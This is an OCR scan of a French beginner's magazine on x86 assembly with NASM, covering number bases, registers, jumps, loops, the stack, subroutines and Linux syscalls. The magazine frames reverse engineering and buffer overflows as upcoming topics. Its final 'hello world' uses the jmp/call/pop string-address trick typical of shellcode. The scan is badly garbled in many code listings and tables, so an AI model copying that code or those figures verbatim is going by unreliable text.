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‘assembleur, un gros mot pour certains, une
réféerence pour les autres, nous inclus. Les
puristes diront qu'un programme « propre »,
rapide, efficace ne peut se programmer qu'en
assembleur. Il est vrai qu'un programme « tout »
assembleur n'est pas aisé a réaliser et ce n'est de
toute fagon pas le but de ce magazine que de vous
apprendre les méandres de ce langage. Nous nous sommes efforcés dans
les pages qui suivent d'aborder pédagogiquement les bases et surtout d'ap-
pliquer les notions abordées. Nous pensons qu'aujourd’hui, la programma-
tion doit, a 95 %, se faire avec des langages de haut niveau. L'assembleur
n'intervient que dans des cas spécifiques comme pour optimiser un bout
de programme, reverser un programme (drivers, par exemple), compren-
dre son fonctionnement, ou enfin tester la vulnérabilité de votre applica-
o tion. Mous espérons que ce magazine vous apportera les connaissances

R : = = : . . ; .
e o nécessaires pour aborder au mieux les tutoriaux souvent compliqués du

nasm en résume 5 e net. Et surtout, n'hésitez pas a poser toutes vos questions sur
http:/iwww.acissi.net/forum.
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| les B bits de poids faible et AH les 8 bits de poids fort. |l
Quand on veut écrire en assembleur, cela prendé
plus de temps, mais moins gue ce que les gens |
pourraient en penser. En fait , I'assembleur offre |
| utiliserons l'instruction mov :

INTRODUCTION

plus de facilités pour structurer un programme, |
méme si le mangue de professionnels apporte plus
facilement des problémes de maintenance.

Par ailleurs, on a plus de possibilités pour résoudre ou pré—
venir des problémes de performance. Liinconvénient est |
que cela prend plus d'effort pour trouver ou former des |

professionnels.
Il faut savoir quand écrire en assembleur , il y a des

moments ou il ny a pas d'autres possibilités et dautres ou

cela n'est pas utile. Le systéme d'exploitation, mais aussi un

bon nombre de produits standards sont programmeés avec | :

des exits, pour permettre une installation du logiciel adapt-e
i vos besoins. Pour la majorité des exits I'assembleur est |
simplement inévitable.

Premiers pas
Apprenons a compler

Vous avez sirement déja rencontré dans vos lectures des
nombres en héxadécimal ou en binaire. Le binaire est le

langage des pc, que vous écriviez des programmes -an:

assembleur, en C ou tout autre langage, le pc comprend |E
binaire, il parle en binaire.

L'héxadecimal est fait pour permettre aux humains (enfin |
pour certains ;-) ) une meilleure compréhension du la.r'lgage
pc. Commengons par comprendre l'ordinateur pour deve-
nir un traducteur hors-norme.

Le binaire

Le binaire est composé de deux &léments: le 0 et le |.

mot (4 octets),

Les microprocesseurs intel sont composes de registres.
Mous utiliserons ces registres pour commencer a travailler |
avec |'assembleur.

Mous allons par exemple avoir un registre EAX de 32 bits |
(0 a 31). Pour désigner les |6 bits de poids faible, on utilise '
AX. On peut découper le registre AX en deux parties, AL |

existe d'autres registres (voir encadré) que nous verrons au
fur et @ mesure des articles.
5i l'on veut mettre une valeur dans le registre EAX, nous

r:u::v eax,10100101010010101001010101101101b
mov ax,1011100101010101b
mov al,l10110101b
mov  bl,al

Registres

EAX, EBX, ECX et EDX sont des registres 32bits. lis
contiennent respectivement AX, BX, CX, DX {I6bits)
dans leur partie basse qui eux-meéme sont composes
de AH. BH, CH, DH (Bbits) dans |a partie haute et de
AL BL. CL. DL (8bits) dans. leur partie basse. Voici un

petit schema pour illustrer tout ¢a :
MNote : Les registres
EAX, EBX , ECX et
EDX ne sont dispo-
nibles gu'en mode
protege (32bits)

L'instru-:tiun mov permet de copier un octet ou un mot

d'un opérande source vers un opérande destination.
Dans le premier exemple, on copie un double mot dans

. EAX, dans I'exemple 2 on copie un mot dans AX, dans
- I'exemple 3 on copie un octet dans AL et dans 'exemple 4,
. on copie le contenu de AL dans BL. Le petit b i la fin de
| chaque nombre signale a I'assembleur que nous travaillons
une suite de 8 éléments binaires est appelé un octet, une |
suite de 16 éléments binaires est appelé un mot (2 octets) I
et une suite de |16 éléments binaires est appelé un double |

en binaire.
On peut a partr du binaire, retrouver le nombre en deci-
mal. Pour cela il suffit de savoir comment se décompose un
| nombre.
P'F'-EI'I'DHS un exemple : le nombre 1354 en décimal se
decompose comme suit :
1354 = 1 x 1000+ 3 x 100 +5x 10+4 x|

=1 x103+3x102+5x 101 +4xI100
Le 10 correspond i la base utilisée et I'exposant est le

poids.

—_———— = ————
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La peur de l'inconnu ou une mauvaise expérience passeée font que I'assem-
bleur est souvent laissé de coté. Les programmeurs préférent plutot utiliser
un langage de troisieme ou de quatriéme génération. Essayons d'éclaircir
un peu les choses. -

MNous allons faire la méme chose pour un nombre binaire:
1011001= 1x25 + 0=24 + [x23 + 1x22 + Ox21 + 120
=Ix32 + 0 + Ix8 + Ix4 + 0+ |x| - F54Bh =1111 0101 0100 1011 b
=32+8+4+ | =45 101101 101001b=1B6%h
Mous venons donc de traduire ce nombre binaire en deci- | exemple de programme:
mal. - mov EAN,1%h ;
da.ns EAX
U'héxadécimal = add EAX,2lh ; On additionne 21 (en
L'héxadecimal est une base |6, c'est a dire que f'on va| héxa) a 19 (en héxa)
écrire un nombre a laide de |6 symboles : les chiffres de 0 | mov EBX,EAX ; On copie le résul-
da PetleslettresdeAaFE | tat de l'opération dans EBX
Mous allons pour cela utiliser le tableau donné en encadré. I Quand on effectue une opération d'addition avec l'instruc-
Pour passer du binaire en héxadécimal, il suffit donc de | tion ADD, le résultat de l'opération se retrouve dans le
remplacer par bloc de quatre bits le nombre binaire par | registre utilisé (ici EAX).

son équivalent en hexadécimal.
- On fait de méme pour passer de Ih&:{adeclrml en binaire.

On copie 19 (en héxa)

Convetrions

0 cgpt Lecinm Bina
Zéro (00000000

| (00000001 IDEJ_E_._
Dieux : (00000010 002
00000011 003
(00000100 004

G 00000101 D05

E 00000110 006 |06

7 00000111 007 (07 EEE

B 00001000 {010 08 i
- l§" - _[un_m'mn':[ 011 jo9 e

10 00001010 012  |OA

11 00001011 013 3

12 00001100 014 foC

[13 00001101 {015 JoD

14 00001110 {016 JoE ]

15 00001111 617  [oF

16 00010000 {020 110

Dix-sef 17 00010001 {021 11
Dix-huit 18 00010010 022 12

00010011 023 (13
00010100 1024 {14
00011110 036 |1E
100011111 037 [IF
00100000 {040 |20

Dix-neuf E.
Ving

rente
rente et un 1
Trente-deux




Comment tester nos programmes ? | Il faut maintenant compiler le programme en C en incluant
Snuelette d'un programimne en assembleur. | notre programme en assembleur.
Nous utiliserons, au cours de nos différents articles, pour | Compiler : goe -c progC.c
tester nos programmes ou simplement tester les instruc- | lier : gcc -0 premier progC.o
tions, le squelette du programme qui se trouve en encadré. | asm io.o
MNe vous occupez pas pour l'instant de savoir & quoi corres- | Nous obtenons ainsi un programme appelé premier que
pondent chaque instruction, nous les découvrirons au fur | nous pouvons lancer,
et & mesure de notre avancement. . Nous aurions pu faire directement :

e | §CC -0 premier progc.c premier.o asm io.o

e ; | Vous trouverez lnclude asm-io.inc i I'adresse suivante :

i I http:/iwww.drpaulcarter.com/pcasm/
& | cette include se trouve dans le fichier linux-exzip si vous
| | utilisez linux ou ms-ex.zip si vous utilisez windows. Il vous
| | suffit de télécharger le fichier, de le placer dans votre réper-
| toire ou se trouvera les programmes que vous allez créer.
Notre premier programme
Ecrivez le programme dans I'encadré et créez I'exécutable

premier.o

R 2L -':'i_:::'tl"llﬁ?ﬁ‘_é 0
3 "Eftrez un detxieme nombre

3 "1e vésultat est ¢ ",0

Vous n'aurez qu'd reprendre ce squelette de code pour y
placer votre programme aux endroits indiqués. | B
Une fois votre programme écrit et enregistré avec ['exten- .fj' e
sion .asm (exemple: premierasm), il faudra assembler le | 508

code : g
nasm -f format premier.asm

ou format sera soit coff, elf, obj ou win32 suivant le compi-
lateur utilisé.

mov | EAX, prompti
Jeall print string
eall  read int
movfRbel,EAX
EM prompt2
int. string

Mous ne pouvons pour ['instant lancer le programme ainsi |
compilé. Nous allons créer un programme en langage C qui |
nous servira a lancer notre programme en assembleur. |
- Pourquei utiliser un programme en C pour lancer notre | &
| t | programme en assembleur? Parce que pour l'instant nous | i

débutons en assembleur et grice d cette astuce, nous pour- | {1
rons utiliser la bibliothéque standard du C afin de récupé-
rer des données au clavier, écrire a I'écran..,

]
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Essayons de comprendre ce programme. En dessous de | mov [nbr],EAX. ~
segment .data, nous déclarons trois phrases qui nous servi- ' nbr est le nom de l'octet que nous avons réservé tout a
rons plus tard pour poser des questions a |'utilisateur. ' I'heure. Griice & cette instruction, nous plagons la valeur
En dessous de segment .bss, nous réservons en mémoire | contenue dans EAX dans la case mémaoire nbr.Donc [nbr]
un octet (byte). " veut dire : contenu de l'adresse mémaoire nbr.

Pour afficher un message a I'écran, nous devons mettre |

dans EAX l'adresse de départ de la phrase (par exemple : CONCLUSION

mov EAX,promptl) et nous devons appeler ensuite Nous avons beaucoup appris dans cet article . Dans la suite,
print_string grice 3 la fonction call. | nous entrerons dans les entrailles du microprocesseur et
Pour récupérer une touche tapée au clavier, nous appelons | donc de ['assembleur. Nous aborderons aussi différentes
(call) read_int qui place dans EAX la valeur tapée. | utilisations de I'assembleur tel que le reverse engineering ,
Les autres instructions ont déja éte vue précédemment. |l | le buffer overflow..

reste peut étre une ombre encore qui est: | Et n'oubliez jamais: Google est votre amil,
Franck EseL | FASw
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la houcle
est houclée 2

Vous avez slirement déja découvert les boucles en C ou dans tout
autre langage . Mais que vont donner ceux-ci une fois désassem-

blées ? Je vais essayer de vous faire découvrir tout cela le plus sim-
plement possible !!....

INTRODUCTION

- Ce gu'il faut comprendre avec emp c'est que I'on

. effectue une opération entre les deux opérandes

Aussitot que I'on parle de langage de haut niveau ; opérandel - opérande2. Le registre FLAGS est posi-

tel que le C, on va se trouver confronté aux contrd- | tionné mais le résultat de I opération n'est pas

les de flux, aux boucles telles que vous |'avez déja stockée,

vues. En assembleur, on va retrouver & chaque fois | Les sauts qui vont suivre sous le cmp vont aller «

une comparaison (CMP) avec ensuite un test condi- | regarder » |'état de certains bits du registre FLAGS

tionnel. - et agir en conséquence.

Essayons de décortiquer tout cela. Par exemple si opérandel = opérande2, le cmp va
- positionner le bit ZF (zéro Flag) a 1.

La Comparaison - Une chose importante & ne pas oublier est que cer-

Si vous avez déja désassemblé des programmes | taines autres instructions positionnent aussi le

vous avez pu remarquer ou vous allez le remarquer ; registre FLAGS.

(voir article suivant) que I'instruction cmp est utili- |

sée. 'L'INSTRUCTION IF

Quelle est son but et que fait-elle ? | Soit le pseudo-code suivant

Le résultat d'une comparaison est stockée dans le | if (EAX==0)

registre FLAGS pour &tre utilisée si nécessaire un | EBX=1;

peu plus tard. Les bits du registre FLAGS sont posi- | else

tionnés suivant le résultat de la comparaison : EBX=2:
cmp  opérandel, opérande? | Si I'on veut « traduire » cela en assembleur, ga va
s nous donner :
- A cImp eax, 0
1654 ELAGBeguins T iz bel
" N . B : 2 mov  ebx,2
VP PP PRERPET E REEERETF T Jmp suivant
#ﬁj- bel:
¥ Adigumal Chead - X I suivant
Wikagd 904 Mok - 3 \
R B i R ebx, 1
P T e Tk g X suivant:
1 Peivilenge L - X
m_; Mous nous retrouvons ici avec
*‘m vt e - deux nouvelles instructions jz et
"1 & H
o T Bl : imp.
Bem fg- 5 Jmp (jump) : est ce que |'on
Alinnr Ty - 3 appelle un saut inconditionnel,
Pacity g - 3
" - Gt g - 3
e T Registre flags

E R —
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c'est-a-dire que si le programme arrive a cette ligne, , LOOPNE, LOOPNZ qui décremente ECX et saute a
quel gue soit I'état du registre FLAG, le programme | I'adresse (ou étiguette) indiquée si ECX différent de
sautera a |'adresse correspondante, c'est & dire ici | O et ZF égal a 0.

@suivant. 5

Jz (jump if zero): pour cette instruction, le pro-| LA BOUCLE WHILE
gramme ira @ |'adresse de bcl seulement si le bit|

ZF du registre FLAG est positionné a 1. Sinon, 'ins- | While(condition)

truction jz est sautée et c'est le mov ebx,1 qui est {

exécuté. corps de la boucle;

Voici un autre exemple : }
if (EAX>=5) ;
EBX=1: ' Le pseudo code précédent sera traduit par :
else !
EBX=2; bcl:
' Jxx fin
donnera ; ;corps de la bopucle
cmp eax,5 Jmp bol
jge bel fin.
MoV ebx, 2 ﬂu. la place de jxx bien sdr vous devez choisir 'ins-
Jmp suivant ' | truction qui corresponde & votre condition (je, jne,

bol: ge, jle ....)

mov abx,1
LA BOUCLE DO WHILE

suivant:

MNous retrouvons ici la méme structure gue précé- do

demment, la seule nouveauté est le jge. : {

Jge (jump if greater or egal) : cette instruction va | corps de la boucle;

permettre de sauter A |'adresse voulue si le résul- | }while{econdition);

tat de I'opération (cmp) est supérieur ou egal. | Le pseudo code précédent sera traduit par :

| bel :
LA BOUCLE FOR ‘corps de la boucle
i :code pour positionner FLAGS suivant la
Pseudo code : ' condition
var = 0; ' jxx bcl
for(i=10;i=0;i-=) . méme remarque gue précédemment pour le Jxx.
var+=1; '

Ce pseudo code peut &tre traduit en assembleur {98 SECieEs
comme ceci : :

- B OE & OB i

.adﬂ_ : EEEE;E!'::-: h,:..x
I ; i :-_ & 3 __...- iy
G mﬁ 1m;$p se sert du ﬁegmtre acxﬁEn

......

I adresse (ou étiquette) indiquée si ECX différent dE
0 et ZF égal a 1.

Les instructions de saut oG umprer a..T




Wpmtpne | | Niveau, vous connaissez I'importance de la création
ntemmpare) || d'Unités fonctionnelles dans vos programmes,
#1 | appelés fonctions ou procédures ou sous program-
#am| mes. Tout probléme complexe doit étre divisé en
o] | tAChES élémentaires qui permettent de mieux le
| comprendre , le mettre en oeuvre, le tester.
e | Deux instructions vont nous étre utiles , le CALL et
g | |€ RET.
| Llinstruction CALL effectue un saut inconditionnel
g E'-.fers un sous programme et empile I'adresse de
_ = .| | l'instruction suivante.
: L'instruction RET dépile une adresse et saute 3
- cette adresse.
EL'instructinn CALL permet d'appeler un sous pro-
' gramme en obligeant le processeur & poursuivre
| I'exécution & un autre endroit que la ligne qui suit
‘cette instruction CALL. Le corps du sous pro-
. Bramme comprend en réponse une instruction RET
La pile est une zone mémoire qui est organisée de | qui permet de revenir a I'instruction qui suit le CALL.
fagon a ce que le dernier entré s le premier sorti, on ' D'un point de vue technique, I'instruction CALL pro-
parle de LIFO (last in, first out). ‘voque le positionnement de I'adresse de retour sur
Crr! peut venir charger des données dans la pile la pile et la copie de I'adresse du sous programme
grace a |:[I‘ISl'I‘ut:tiﬂr1 PUSH et retirer des données | qui doit &tre appelé dans le pointeur d'instruction,
grace a l'instruction POP. | Dés que le sous programme a terminé son exécu-
 tion, son instruction RET provoque le dépilement de

Les instructions de saut

LA PILE

o B b~ Previous ESP I'adresse de retour dans le pointeur d'instruction.
ubroutine :Le processeur execute toujours l'instruction dont
!I“i Ildl | I'adresse est indiguée dans EIP,
i FBE | La structure d'un sous programme sera la sui-
vante : B
| SouUsp:
|
Top of staci TP | push ebp jempile la
| |1.ralaur originale de ESP
1 : this way - ; oW ebp,esp ; EBP=ESP
mgm addresses ; sub esp,octets_locaux ; nombre
| ' d'octets nécessaires pour les locales
FHIE . : . [ ]
_ . i ¢ lnstruction du sous programme
Le regls_tre ESP ::nn:dent I'adresse de la donnée qui | mov esp,ebp ;dézalloue les
sera retirée de la pile. - locales

L'instruction PUSH insére un double mot sur la pile | pop ebp

en Otant 4 de ESP puis en stockant le double mot | valeur originale de ESP
en [ESP]. i ret

[ESP] veut dire contenu de |'adresse ESP, !

Ljinstrur;tinn POP lit le double mot en [ESP] puis  L'appel du sous programme dans le programme
ajoute 4 a ESP. _ | principal ou dans un autre sous programme sera :
On peut utiliser la pile pour stocker temporairement | call  sousp

des données. Elle est surtout utilisée pour effec- |

irestaure la

tuer des appels & des sous programmes, passer - Les paramétres du sous programme peuvent é&tre
~ des variables locales et des paramétres,

_ . . | passées par la pile. lls doivent étre empilés avant

LF registre S5 spécifie le segment qui contient la | I'instruction CALL. Si le paramétre doit étre modifié

pile, I par le sous programme, |'adresse de |a donnée doit
- etre passée, pas sa valeur. Si |a taille du paramétre

LES SOUS PROGRAMMES -est inférieur & un double mot, il doit étre converti en

_ _ | un double mot avant d'étre empilé.

Si vous avez déjad découvert un langage de haut |
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APPLICATION ' Vous obtenez donc & I'écran, si tout s'est bien
' passé, un nombre entier qui correspond & I'addition

Essayons maintenant d'appliquer ce gue nous| de 1000, 2000 et 3000 hexadécimal.

venons de découvrir. ' Notre appel au sous programme a donc bien fonc-

Nous voudrions additionner trois nombres et que tionné.

cette addition soit faite dans un sous programme.
Essayons ce programme ci dessous : CONCLUSION

tinclude "asm_io.inc"

segment .data . beaucoup de principes de la programmation en
segment .bss " assembleur. Votre but n'est peut étre pas de pro-
segment .text | grammer en assembleur mais de comprendre un
global asm main - programme en assembleur et de pouvoir modifier —
asm main: | 'exécution du programme. Vous allez dans ce cas |
"~ enter 0,0 | pouvoir appliquer directement les principes vus pré-
pusha ' cédemment grace a certains articles qui suivent .
mov eax, 1000h Seule une pratique réguliére et la lecture de tuto-
mov ebx,2000h riels et de livres sur I'assembleur et le reversing
mov ecx,3000h vous permettront de comprendre les différents
call somme types de protections logiciels ou d'adaptation de
call print int logiciels pour vos applications.
popa Franck EeeL |FaSm
mov eax,0
leave
ret
SOIE '
push  ebp
mov ebp,esp
add eax,ebx
add eax ,ecx
pop  ebp
ret

| Ces premiers articles nous ont permis d'aborder



Le heap

Le heap est la région mémeoire dédiée i l'allocation dynami- |
que de mémoire. Gérer dynamiquement la mémoire signi-
fie que I'on peut allouer ou libérer des régions mémoire 3
volonté dans la limite des ressources disponibles.

Le heap n'est pas souvent utilisé en assembleur car pour
l'utiliser avec efficacité, il est nécessaire de disposer de
moteurs d'allocation et de libération de la mémoire. Ces
moteurs d'allocation sont simplement des fonctions telles
malloc()/free() disponibles dans toute librairie C.

Il ne sera pas question pour vous de recoder des fonctions

existant (les choix varient d'un systéme i un autre) sont
mation bien précises (listes chainées par exemple).
En fait, en débutant, vous n'utiliserez jamais le heap, sauf si

vous savez pourquoi vous devez le faire.Vous ferez essen-
tiellement vos allocations mémaoire sur la stack.

La stack

La stack est la région mémoire la plus utile

Voila un chapitre crucial portant sur
la fagon dont s'organise la mémoire.
La pile (stack) et le tas (heap) dési-
gnent des régions mémoire trés
importantes au sein d'un pro-
gramme. Leurs speécificités sont la
base de nombreuses notions a venir.

par I'application utilisent aussi des régions mémoire de cet

g espace virtuel.

- Un programme se moque de la localisation de la stack, il
N'utilisera de fagen aveugle la ol on lui dira de le faire.

| Elle lui sert a3 empiler des données, comme les variables
| temporaires d'une sous-fonction, ou encore les adresses de
 retour d'une fonction. Notre but est de vous expliguer ['uti-
lité de la stack dans le cadre du développement en assem-
' bleur.

- La stack va servir i votre code pour plusieurs choses :

de gestion de la mémoire en assembleur. Les algorithmes . 1. sauvegarder des valeurs numériques en mémoire (nom-
!  bres, adresses) pour libérer des registres,

. optimisés et les recoder demande des notions de program- | 2. sauvegarder des registres avant d'appeler une sous-fonc-
: - tion qui risque de les modifier,

- 3. transmettre et récupérer des arguments dans une fonc-

tion

4. reserver des buffers (pour des copies de chaines de

| caractéres par exemple),
' 5. appeler et revenir de fonctions.
' Lorsque vous utilisez la pile, vous empilez les données par

le bas. Autrement dit, la pile

d'un programme. Elle se situe constamment,
quel que soit le systéme que vous utilisez,
dans les adresses hautes de la mémaire,
Depuis un programme utilisateur (et donc de
votre point de wvue), la mémoire est visible
sous une forme linéaire. Partant de I'adresse
0x0 jusqu'a I'adresse OxFFFFFFFF, ce sont plus
de quatre gigas octets de mémoire qui sem-
blent disponibles. Qui "semblent" car en réa-
lite le systéme d'exploitation utilise des

régions meémoire de cet ensemble, les rendant
| indisponibles. De méme, les librairies chargées

o e T e S i . =

croit vers les adresses basses.
Faisons une métaphore.

Imaginez une pile d'assiettes
posées par terre. Maintenant,
accrochez-la au plafond. Toute
nouvelle assiette que vous
rajouterez a cette pile sera
ajoutée par le bas. Sous la pile, il
n'y a rien que de l'air (une par-
tie de l'espace mémoire virtuel
est vide sous la stack), et le sol
est la prochaine région

Prﬂlngu& ﬂi: épilomlﬁ S

mémaoire utilisée. La pile ne s'étendra pas au-dela.

La stack s'élargit donc vers le bas mais on la parcourt néan-
moins comme toute autre région mémoire ; des adresses
basses vers les plus hautes.

L'instruction qui permet de rajouter une assiette (une don- |

née) est "Push”. L'instruction qui permet d'enlever une
donnée est "Pop".

Push prend un argument (un registre, si 'on veut mettre le
contenu d'un registre sur la stack, ou une valeur immeédiate,
c'est-d-dire un nombre).

Pop prend un registre comme argument (la valeur prise de
la stack est transférée vers le registre).

Motez que I'on n'empile et ne dépile que des données de |
deux ou quatre octets (word et double-words) a l'aide de |

Push/Pop.

Revenons 4 notre plafond. Notre pile d'assiettes y est tou- |
jours accrochée, continuons le bricolage. Prenons une four- |

chette et attachons lui un fil. Accrochons, a coté de la pile
d'assiettes, le fil pour que la fourchette pende au niveau du
bas de |a pile. Ses dents pointent le bas de la pile. Quand
nous rajouterons une assiette, cette fourchette devra des-
cendre pour continuer i pointer le bas de la pile. Et quand
nous retirerons une assiette, la fourchette devra remonter
d'un cran.

Motre fourchette, c'est le registre ESP (Extended Stack |
Pointer) du processeur. ESP pointe toujours sur le bas de la |
pile. Lorsque vous faites Push/Pop, ESP est automatique- |
ment incrémenté ou décrémenté de deux ou quatre |

octets. On peut modifier directement ESP mais jamais 4 la

legére.

Si I'on veut allouer 64 octets sur la pile (pour sauvegarder
temporairement une signature numérique par exemple) on
ne va pas faire |16 push et considérer que ESP pointe sur
notre nouveau buffer. On peut directement le décrémenter

de 64 octets (on utilisera toujours des multiples de 4 dans

ce genre d'opération, pour des raisons inexplicables ici, |

mais vitales).

Comme ESP contient une adresse qui p-uinr.e sur le bas de |

yiiy

octets plus bas, et ainsi_nous. Wim’ da

e

;5* éHF H‘mﬂ:ﬁllez ]amais de |lb-erﬂr cet Esnace &n addltl.'nﬁmnt

_des notions for

a.a%!.ﬂl : ghl‘fﬂm d&crﬂnm’f&r 'ESF de ¢ quatre n:tets} 'Et
sauter sur |'adresse qui lui a été passée en paramétre I[par
valeur immédiate ou registre). L'exécution saute alors sur |
la nouvelle fonction.

ESP pointe alors dans la stack sur 'adresse de retour de

-'.

tick de 64 | de Ia function
. octets. Nous avons alors Huqtets ﬂhpﬂmhlas au dessui de | &
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. celle-ci, c'est-i-dire l'adresse ol reprendra [I'exécution
- aprés le retour de la fonction (rappelez-vous : juste apres

le call). Le retour de la fonction se fait par l'instruction
"Ret". Ret prend la donnée (l'adresse) pointée par ESP la
dépile de la stack et saute I'exécution dessus (la valeur est
mise dans le registre EIP). Il est donc important que ESP
pointe sur une adresse de retour au moment du Ret ou le
bug est assuré,

Call/Ret, tout comme Push/Pop, modifient automatique-
ment le registre ESP. Si I'on doit passer des paramétres 3
une fonction, la methode la plus courante consiste 3 empi-
ler les arguments i ['aide de Push (uniquement des valeurs
numériques ou des adresses) avant de faire le Call. Aprés le
Call, les arguments seront ainsi quatre octets suivant
I'adresse de retour sauvegardée pointée par ESF
Reprenons. Juste aprés le Call, au moment ou |'exécution
rentre dans la sous-fonction (dans le code source, Call
prend en paramétre une adresse, trés souvent le nom d'une
fonction), ESP pointe sur l'adresse de retour. La stack est
ensuite étendue aux besoins du développeur et, une fois
arrivée 4 la fin de la fonction, ESP ne pointe plus du tout sur
I'adresse de retour de la fonction. Autrement dit : "ol est
I'assiette sur laquelle on doit faire pointer la fourchette
avant le retour de la fonction vu qu'on a empilé x assiet-

0x0000 - -

EBP -
pour la fonction [T
(=ESP)

Pop et push dans la pile




tes 2. Il faut additionner & ESP le bon nombre d'octets ' entre le prologue et I'épilogue est ainsi immédiatement
réservés sur la stack pour qu'il revienne a sa valeur d'ori- | libéré. Nous verrons plus tard comment réaliser un prolo-
gine, celle qui pointe sur I'adresse de retour de la fonction. | gue et un épilogue en bonne et due forme.

Fastidieux si 'on doit noter chaque allocation de mémoire |
sur la stack.

La meilleure fagon de procéder est de sauvegarder ESP |
lorsqu'on rentre dans la fonction et de restaurer sa sauve-
garde a la fin de la fonction.

La sauvegarde d'ESP s'effectue par le registre EBP Le prolo- | |
gue dune fonction consiste a sauvegarder EBP sur la pile
(Push), a sauvegarder ensuite ESP dans EBP. L'épilogue d'une
fonction restaure ESP par EBF, et rend a EBP sa valeur d'ori-
gine (Pop). Tout l'espace (stack frame) consomme sur la pile |

i e, -
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INTRODUCTION

51 vous lisez cet article en vous disant : «tout ¢a je connais |
» alors vous pouvez continuer la suite. Dans le cas
contraire , relisez les articles précédents jusqu'a ce que
vous puissiez vous aussi dire : «tout ¢a je connais » .

Les instructions

La directive %define
Cette directive est semblable i celle de la directive #define
du C.
%define SIZE 100
‘3define chl dword [ebp+8] 1
tdefine ch2 dword [ebp+12) |
Mous venons ici, de definir trois variables SIZE, chl et ch2 |
qui vont prendre des valeurs pour tout le programme. |
|
Directives de données
LI db 0 ;octetlibellé LI avec une valeur initiale de 0 '
L2 dw 1000;mot libellé L2 avec une valeur initiale de 1000 |

tialise 4 la.valeur-hexa 12 B

figigetet inicalise 313 valeur oerale 177 7
A92h;double mat initialise 3 la valeur hexa |A92 i

[ i ogechontpialse |

at ini alisia% le code ASCII du A

L4 db 1Zhjoctet
- '|.|.'I.|J'

1

: I_!;- 1|1il'!:. 4 ﬂtﬂﬂ .L'.f_

.
N e e

* al[LI] ; copie 'octet situé en LI dans al
mov eax,L| ; =adresse de |'octet en LI
Moy [L1].ah ; copie ah dans ['octet en LI

mov dword [L6].1 :stocke | en L&

L3 db 11010Ib;octet initialise 4 la valeur binaire 11010| | printintyssaffiehe 3 Feera
of ;ﬂmmrﬁ:ﬁ A

IL:E
.

e L L b
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Cet article va peut étre
vous perturber un peu,
vous allez me dire: <<tu
répetes souvent les
mémes choses!>> He
bien , c'est voulu ! Ce
mag a pour but de vous
donner des notions en
assembleur, les bases
pour gue vous puissiez
débuter sainement.

: Cela indique  |'assembleur de stocker un | dans |e double
| mot qui commence en L6, Les autres spécificateurs de taille

sont : BYTE,WORD,QWORD et TWORD

Entrées - sorties

Les langages assembleur n'ont pas de bibliotheques stan-
dards. lls doivent accéder directement au matériel ou utili-
ser des routines de bas:-niveau éventuellement fournies par
le systéme d'eipl-c_i'!l_:_:a_.tiq_l:- :

Il est trés courdnt pour les routines assembleur d'étre
interfacées avec du C. Un des avantages de cela est que le

' code assembleur peut utiliser les routines d' E/S de la
| bibliothéque standard du C.-

Pour utiliser ces routines, il faut inclure un fichier conte-
nant les informations dont l'assembleur a besoin pour les
utiliser.

| Sinclude "asm_io.inc”

pour utiliser une de ces routines d'affichage, il faut charger

| EAX avec la valeur correcte et utiliser une instruction
| CALL pour l'invoquer

Nous pourrons donc utiliser : s

i _ar ark pour b cde ASCH stk

Fril:l?t__sfring::: pareil pour une chaine de :

dump_regs : affiche les valeurs des registres, des flags

- dump_mem : affiche les valeurs d'une certaine région de la
| mémoire. Elle prend trois arguments séparés par des virgu-
| les ( un entier utilisé pour étiqueter la sortie, l'adresse a
| afficher et le nombre de paragraphes de 16 octets 4 afficher

ritiet




apres l'adresse)

dump_stack : affiche les valeurs de la pile du processeur
dump_math : affiche les valeurs des registres du coproces-
seur mathématique

Mous lancerons notre programme assembleur a partir d'un

pregramme en C ( progC.c )

progC.c

int maint)
4k

int  ret grariiE;

ot statussasm main);
return ret stabus;

i

Le squelette de notre programme en assembleur sera de

Compiler

Pour compiler le programme , vous utiliserez cette instruc-
tion :

. gee -0 premier progC.c essai.o asm_io.o

| pour essayer votre programme :
' [FaSm]# chmod u+x premier
- [FaSm]# ./premier

Exemple de programme

tinclude "asm io.inc" '
segment .data
promptl db "Entrez un nombre :",0

prompt2 db "Entrez un deuxieme nombre 1'
"0
L

cette forme :{ essaiasm)

errai.arm

finclude “asm io.inc”
segnent’ data

seoment - ibss

Seoment. o taxt
global
asm main:

asm main

ot TETS S

eErtar S &)

o

getup routine
plusha

popa

Mg
ratucn back e O

leave

rat

Dans le segment .data doivent se trouver seulement les |
données initialisées. :
Les données non initialisées se trouveront dans |bss
le segment de code est appelé .text

! prompt3
segment

1
i
i

| nbr

db
.bss
resb 1
segment .text
global _asm main
_asm main: ' |
enter 0,0
pusha
mov  EAX, promptl
call print string
call read int
mov  [nbr],EAX
EAX, prompt2
print_string
read int
EAX, [nbr]
EBX, EAX
EAX , prompt3
ERX , EBX
call print int
call print nl
dump regs 1
dump_mem 2,prompt3,2
popa
mov  EAX,0
leave
ret

"le résultat est : ",0

Bpeax Mame

]

LES INTERRUPTIONS
Les interruptions sous linux (int 0x80) sont détaillées sur
le site cité en prérequis.

http:/idocs.cs.up.ac.za/programming/asm/derick_tut/sys- |

calls.html

Voyons par I'exemple

bonjour tout le monde en C

Tot mainiy 4

char *string= bonjour, tout le
1
;

thefl st ring, 22 )

Mous voulons en assembleur, obtenir la méme chose que le
hmgmmme en C (cf encadré). Il nous faut donc utiliser des
interruptions pour, par exemple, écrire i I'ecran une phrase
ou quitter le programme (exit).

Mous allons obtenir le programme en assembleur donné
en encadré.

bonjour tout le monde ! en arembleur

ZOT A e

oy el ebX
g U G e A T S
¥or ok, eax

Jmp short #tring

codaes

pep

mov. bl;1

IOV €

O &

it

diec

MERT, =
Loint OxB0

string

cail code

db ' boniour, ol le monge!

§

3
[
i
]
i

e
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La partie XOR eax, eax par exemple, sert simplement a
mettre i zéro le registre eax. Une bonne habitude est de
mettre a zéro les registres que nous voulons utiliser.

Si I'on regarde dans la table des syscalls donnée plus haut,

' e write est de la forme : write(l string,23)

si 'on veut utiliser la fonction write, il faut mettre 4 dans al.
Mais au préalable, il faut lui indiquer quelques arguments.
D'abord , voulons nous travailler avec 'entrée standard (le
clavier : 0) ou la sortie standard (I'ecran :1) ou enfin avec la
sortie d'erreur (2) ! nous voulons bien sur visualiser sur
I'écran, nous mettrons donc | dans bl.

Il faut ensuite indiquer la taille de la chaine de caractére que
nous voulons écrire, soit pour nous 23 que nous plagons

dans dl.
Il nous reste ensuite i placer dans ecx l'adresse de la chaine

de caractére. Ce qui est fait dans I'exemple (cf encadré) par
une petite astuce: nous faisons d'abord un jmp short string

| qui va permettre de sauter a l'étiquette string: qui fait ¢

appelle a code . ;

